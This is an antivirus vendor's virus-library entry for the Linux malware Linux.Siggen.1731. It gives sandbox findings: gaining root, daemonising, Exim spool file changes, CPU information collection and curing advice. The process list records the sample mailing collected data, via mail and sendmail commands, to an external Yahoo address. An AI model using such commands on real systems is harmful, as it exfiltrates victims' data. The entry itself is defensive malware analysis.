ユーザー向け情報

マイライブラリ

+ マイライブラリに追加

検索

テクニカルサポート利用方法

問い合わせ

新規お問い合わせ

電話（英語）

+7 (495) 789-45-86

フォーラム（英語）

お問い合わせ履歴

すべて: -
対応中: -
最終更新: -

新規お問い合わせ

電話（英語）

+7 (495) 789-45-86

JP

RU CN DE EN ES FR IT JP KZ UZ PL BY

サービス

スキャナー

Dr.Web vxCube

トライアル

Dr.Web vxCubeにログオン

ウイルスライブラリ

ナレッジベース

テクノロジー

用語

トレーニングコースおよび啓蒙プロジェクト

アンチウイルスに関する誤解と噂

アンチウイルスに関する誤解

ニュース

Linux.Siggen.1731

Added to the Dr.Web virus database: 2019-05-24

Virus description added: 2019-05-24

Technical Information

Malicious functions:

Gains root privileges

Launches itself as a daemon

Launches processes:

mail -s BuduRoot stufftempo@yahoo.com
cat informatii
/usr/sbin/sendmail send-mail -i -- stufftempo@yahoo.com
/usr/sbin/exim4 -Mc 1hUAF1-0000B7-AF
/usr/sbin/exim4 #-E1hUAF1-0000B7-AF
/usr/sbin/exim4 -Mc 1hUAF3-0000BB-82

Performs operations with the file system:

Modifies file access rights:

/var/spool/exim4/input/1hUAF1-0000B7-AF-D
/var/spool/exim4/input/hdr.689
/var/spool/exim4/msglog/1hUAF1-0000B7-AF
/var/spool/exim4/input/1hUAF3-0000BB-82-D
/var/spool/exim4/input/hdr.693
/var/spool/exim4/input/hdr.691
/var/spool/exim4/msglog/1hUAF3-0000BB-82
/var/spool/exim4/input/1hUAF3-0000BB-82-J
/var/mail/user

Creates symlinks:

/var/mail/user.lock

Creates or modifies files:

/tmp/mail.RsXXXXQmH4Ua
/tmp/mail.RsXXXXiOndtu
/tmp/mail.RsXXXXiOndtu (deleted)
/var/spool/exim4/input//1hUAF1-0000B7-AF-D
/var/spool/exim4/input/1hUAF1-0000B7-AF-D
/var/spool/exim4/input//hdr.689
/var/spool/exim4/input/hdr.689
/var/spool/exim4/msglog//1hUAF1-0000B7-AF
/var/spool/exim4/msglog/1hUAF1-0000B7-AF
/var/log/exim4/mainlog
/var/spool/exim4/db/retry.lockfile
/var/spool/exim4/input//1hUAF3-0000BB-82-D
/var/spool/exim4/input/1hUAF3-0000BB-82-D
/var/spool/exim4/input//hdr.693
/var/spool/exim4/input/hdr.693
/var/spool/exim4/msglog//1hUAF3-0000BB-82
/var/spool/exim4/msglog/1hUAF3-0000BB-82
/var/spool/exim4/input//hdr.691
/var/spool/exim4/input/hdr.691
/var/spool/exim4/input//1hUAF3-0000BB-82-J
/var/mail/user.lock.box-i386.5ce7f16e.000002b9
/var/mail/user
/var/spool/exim4/input/1hUAF3-0000BB-82-J

Deletes files:

/tmp/mail.RsXXXXQmH4Ua
/tmp/mail.RsXXXXiOndtu
/var/spool/exim4/msglog//1hUAF1-0000B7-AF
/var/mail/user.lock.box-i386.5ce7f16e.000002b9
/var/mail/user.lock
/var/spool/exim4/msglog//1hUAF3-0000BB-82
/var/spool/exim4/input//1hUAF3-0000BB-82-D
/var/spool/exim4/input//1hUAF3-0000BB-82-H
/var/spool/exim4/input//1hUAF3-0000BB-82-J

Network activity:

Establishes connection:

<LOCAL_DNS_SERVER>

DNS ASK:

bo##i386

Other:

Collects CPU information

Curing recommendations

Linux

After booting up, run a full scan of all disk partitions with Dr.Web Anti-virus for Linux.

One month (no registration) or three months (registration and renewal discount)

Download Dr.Web

Download by serial number